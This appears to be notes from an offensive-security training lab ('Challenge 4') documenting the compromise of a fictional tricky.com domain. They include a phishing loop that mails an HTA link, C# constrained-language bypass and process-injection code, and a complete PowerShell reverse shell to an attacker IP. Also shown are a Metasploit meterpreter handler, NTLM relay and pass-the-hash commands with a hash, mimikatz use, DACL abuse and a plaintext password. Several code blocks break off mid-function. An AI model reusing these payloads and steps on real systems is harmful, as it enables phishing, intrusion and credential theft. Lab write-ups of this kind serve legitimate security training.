Challenge 4
Challenge 4
Challenge 4
150
172.16.X.151
172.16.X.152
172.16.X.155
192.168.X.159
root
| admin
| administrator
| webadmin
| sysadmin
| netadmin
| guest
| user
| web
|_ test
http://192.168.X.159/ contains:
[email protected] serves in the clerks office for mail administration. You can mail him about
issues with the mail system.
Note that due to security issues arising from malicious mails, we have implemented very good
security on the clients, such as antivirus, application whitelisting and removed all Office
products.
So we need to phish here and not use Office. Maybe hta files with mshta lolbin to bypass
application whitelisting or with jscript?
If I then send email with: for i in `cat emails.txt`;do swaks --body 'Please click here
http://192.168.X.Y/rulon.hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type:
text/html" --header "Subject: Issues with mail" -t $i -f [email protected] --server
192.168.X.159;done
I get in wireshark:
Then this works. Compile the CLM bypass in C# from OSEP pdf, where you run powershell in
C# using runspaces:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shell.ps1 does not contain amsi bypass(it didn’t work when I put amsi bypass) so it only
contains this reverse shell:
$client = New-Object System.Net.Sockets.TCPClient('192.168.X.Y',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String
);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$
stream.Flush()};$client.Close()
more c:\users\will\desktop\local.txt
3667986376d768bdd8e7bd212521d387
whoami
tricky\will
hostname
client09(172.16.X.155)
172.16.X.150 = dc04.tricky.com
172.16.X.151 = sql05.tricky.com
172.16.X.152 = sql07.tricky.com
172.16.X.155=client09.tricky.com
172.16.X.254 = mail01.tricky.com
$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
distinguishedname : CN=krbtgt,CN=Users,DC=tricky,DC=com
description : Key Distribution Center Service Account
pwdlastset : 7/8/2020 1:55:28 AM
serviceprincipalname : kadmin/changepw
distinguishedname : CN=SQLSvc,OU=TSA,OU=TUsers,DC=tricky,DC=com
pwdlastset : 7/8/2020 3:20:11 AM
serviceprincipalname : {MSSQLSvc/sql07.tricky.com:1433, MSSQLSvc/sql05.tricky.com:1433}
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[]
lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint
dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
lpThreadId);
public TestClass()
{
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
Instead of trying get a stable MSF shell in FullLanguage mode, let’s setup autoroute with
socks4a and start enumerate the domain instead. So I use this oneliner:
msfconsole -x 'use auxiliary/server/socks4a; set SRVPORT 1080; set SRVHOST 127.0.0.1; run
-j; use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST
192.168.X.Y; set LPORT 443; set AutoRunScript "autoroute -s 172.16.X.0/24"; run'
Then let’s try to use our creds for will user to see if any shares are open
So SMB signing is disabled on all machines in this challenge except on the DC.
-------------------------------------------------------------------------------------------------------------------------------
-
SQL05\SQLEXPRESS
SQL07
Then I get sqlsvc hash which I got from kerberoasting earlier also. But it seemed to have a good
password because I couldn’t crack it.
So then let’s try to relay this hash because SMB signing was disabled on SQL05 and SQL07,
and sqlsvc user is probably admin on those.
So to relay, I start:
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t smb://172.16.X.152
Then we disable AV, upload SharpHound and run it from system shell spawned from:
proxychains python3 psexec.py -hashes :05f6c26c86bc63599db55631e21de713
[email protected]
So let’s disable AV and then try to run mimikatz to dump hashes/password for sqlsvc user
mimikatz(commandline) # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
mimikatz(commandline) # exit
Bye!
The members of the group SQL [email protected] have permissions to modify the DACL
(Discretionary Access Control List) on the group [email protected].
Then first let’s abuse WriteDacl by adding GenericAll on Mailadmins to sqlsvc user:
$credsrulon = New-Object System.Management.Automation.PSCredential ("tricky.com\sqlsvc",
(ConvertTo-SecureString "4dfgdfFFF542" -AsPlainText -Force))
172.16.X.254 = mail01.tricky.com
Then I need the admin flag on the client machine which was the foothold machine. I can’t RDP
to it because of too many logged in.